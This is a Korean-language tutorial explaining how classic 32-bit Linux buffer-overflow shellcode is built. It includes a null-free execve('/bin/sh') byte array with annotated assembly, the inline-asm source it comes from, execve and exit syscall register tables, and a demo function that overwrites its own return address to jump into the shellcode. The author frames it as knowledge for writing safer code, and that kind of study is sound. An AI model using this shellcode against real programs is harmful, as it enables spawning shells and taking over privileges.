여기서 sample() 함수가 overflow exec shell 코드이고요.이건 이미 공식화 된 코드이기 때문에 제가 조금 양념을 쳐서 이해하기 쉽게 만들어 봤습니다. 해킹은 무지 싫어하지만 이런 것도 명확히 알아둬야 자신의 코드가 튼튼해지겠죠. 절대로 BOF(Buffer Over Flow)당할 코드는 만들지 마세요. 이 글을 읽고 BOF취약 코드 만드는 사람은 없겠죠?
아래와 같은 코드를 만들기 위해서는 다음과 같은 단계를 진행하여 코드를 만듭니다.
- sample() 함수를 만든다.
조건: 스트링 함수를 공격하기 위한 코드이므로 반드시 코드 내에는 0x00 이 없어야 합니다. 그래서 strcpy 에 의해서 공격코드가 복사될수 있겠지요.
원리: 일단 jmp 로 call 함수로 분기하도록 틀을 만듭니다. 이때 near 가 아닌 short 형태의 분기여야 합니다. 이제 call 바로 하단에는 "/bin/sh\0" 을 넣는 것이고 이것은 call 에 의해서 그 주소를 챙길 수 있습니다. 그래서 call 로 분기후 pop 을 통해서 "/bin/sh" 의 주소를 얻어냅니다. 그 다음에는 execve(System call 0x0b번)을 이용해서 실행하는 코드를 생성합니다. 역시 주의할 점은 기계어 상태에서 0x00이 있으면 안됩니다(문자열 복사가 멈추므로). 그리고 execve실행 후 종료토록 exit(System call 0x01번)을 호출하여 종료합니다.
- 이제 일단 컴파일만 합니다.
- objdump -D <목적파일.o> 를 사용하여 코드를 역 어셈블한 상태를 확인합니다. 여기서 sample 라벨을 찾아서 stack frame 을 빼고 jmp 부터 복사하여 배열을 만듦니다.
- 이제 sample 함수는 mz_shell_code 로 만들어 진 상태이고 실제 테스트를 위한 함수를 만들어야 합니다. (실제 공격코드에는 bof() 함수가 아니라 프로그램 자체의 버퍼오버플로우 취약점이 될겁니다.)
- 이제 bof() 함수에는 한개의 dword 변수를 선언하고 이 주소를 취하여 dword 변수 자체 크기 4를 더하고 그로부터 다시 stack frame 을 건너띄기 위해서 4를 더한 위치에 mz_shell_code 의 주소를 저장합니다.
- 이제 bof 함수는 버퍼오버플루우에 의해서 공격당한 함수의 전형적인 상태가 되었습니다.
- bof 가 리턴되면 mz_shell_code 로 분기하게 되고 원하는 "/bin/sh" 가 실행되며 이로서 권한을 취득합니다.
참고로
execve system call 의 내용은 다음과 같습니다. (32-bits linux kernel 기준이며 64-bits linux kernel은 완전히 다릅니다.)
%%eax = 0x0b
%%ebx = path/filename 포이터
%%ecx = 인자 리스트 포인터
%%edx = 환경변수 리스트 포인터
int $0x80
=> 64-bits kernel 인 경우는 다음과 같이 다릅니다. (ABI call)
%%rax = 0x3b
%%rdi = path/filename 포이터
%%rsi = 인자 리스트 포인터
%%rdx = 환경변수 리스트 포인터
syscall
그리고
exit system call 의 내용은 다음과 같습니다. (32-bits linux kernel 기준이며 64-bits linux kernel은 완전히 다릅니다.)
%%eax = 0x01
%%ebx = exit code(return code)
int $0x80
=> 64-bits kernel 인 경우는 다음과 같이 다릅니다. (ABI call)
%%rax = 0x3c
%%rdi = exit code(return code)
syscall
/*
Copyright (C) MINZKN.COM
All right reserved
Code by JaeHyuk Cho <mailto:minzkn@minzkn.com>
*/
/* !!! 32-bits linux kernel 기준이며 64-bits linux kernel은 적절히 그에 맞도록 수정이 필요합니다. */
char __mz_shell_code__[] = {
"\xeb\x1d" /* jmp 0f */
/* 1: */
"\x5e" /* pop %esi */ /* call 에 의해서 "/bin/sh" 의 주소가 담겨있게 됨. */
"\x89\x76\x08" /* mov %esi,0x8(%esi) */
"\x31\xc0" /* xor %eax,%eax */
"\x88\x46\x07" /* mov %al,0x7(%esi) */
"\x89\x46\x0c" /* mov %eax,0xc(%esi) */
"\xb0\x0b" /* mov $0x0b,%al */
"\x89\xf3" /* movl %%esi, %%ebx */
"\x8d\x4e\x08" /* lea 0x8(%esi),%ecx */
"\x31\xd2" /* xor %edx,%edx */
"\xcd\x80" /* int $0x80 */
"\xb0\x01" /* mov $0x1,%al */ /* exit system call part */
"\x31\xdb" /* xor %ebx,%ebx */
"\xcd\x80" /* int $0x80 */
/* 0: */
"\xe8\xde\xff\xff\xff" /* call 1b */
"/bin/sh"
};
void bof(void)
{ /* 테스트를 위해 가상으로 BOF 피폭된 함수를 꾸미기 위한 함수 */
volatile unsigned long s_Entry;
s_Entry = (unsigned long)(&s_Entry) + sizeof(s_Entry) + sizeof(void *)/* frame */;
*((unsigned long *)s_Entry) = (unsigned long)(&__mz_shell_code__);
}
#if 0 /* __mz_shell_code__ source : 이것이 BOF 실행코드이며 이것을 토대로 코드가 완성됩니다. */
void sample(void)
{
__asm__ volatile("nop\n\t");
__asm__ volatile(
"jmp 0f\n\t"
"1:\n\t"
"popl %%esi\n\t"
"movl %%esi, 0x08(%%esi)\n\t"
"xorl %%eax, %%eax\n\t"
"movb %%al, 0x07(%%esi)\n\t"
"movl %%eax, 0x0c(%%esi)\n\t"
"movb $0x0b, %%al\n\t"
"movl %%esi, %%ebx\n\t"
"leal 0x08(%%esi), %%ecx\n\t"
"xorl %%edx, %%edx\n\t"
"int $0x80\n\t"
"movb $0x01, %%al\n\t"
"xorl %%ebx, %%ebx\n\t"
"int $0x80\n\t"
"0:\n\t"
"call 1b\n\t"
".string \"/bin/bash\"\n\t"
:
:
);
__asm__ volatile("nop\n\t");
}
#endif
int main(void)
{
bof();
return(0);
}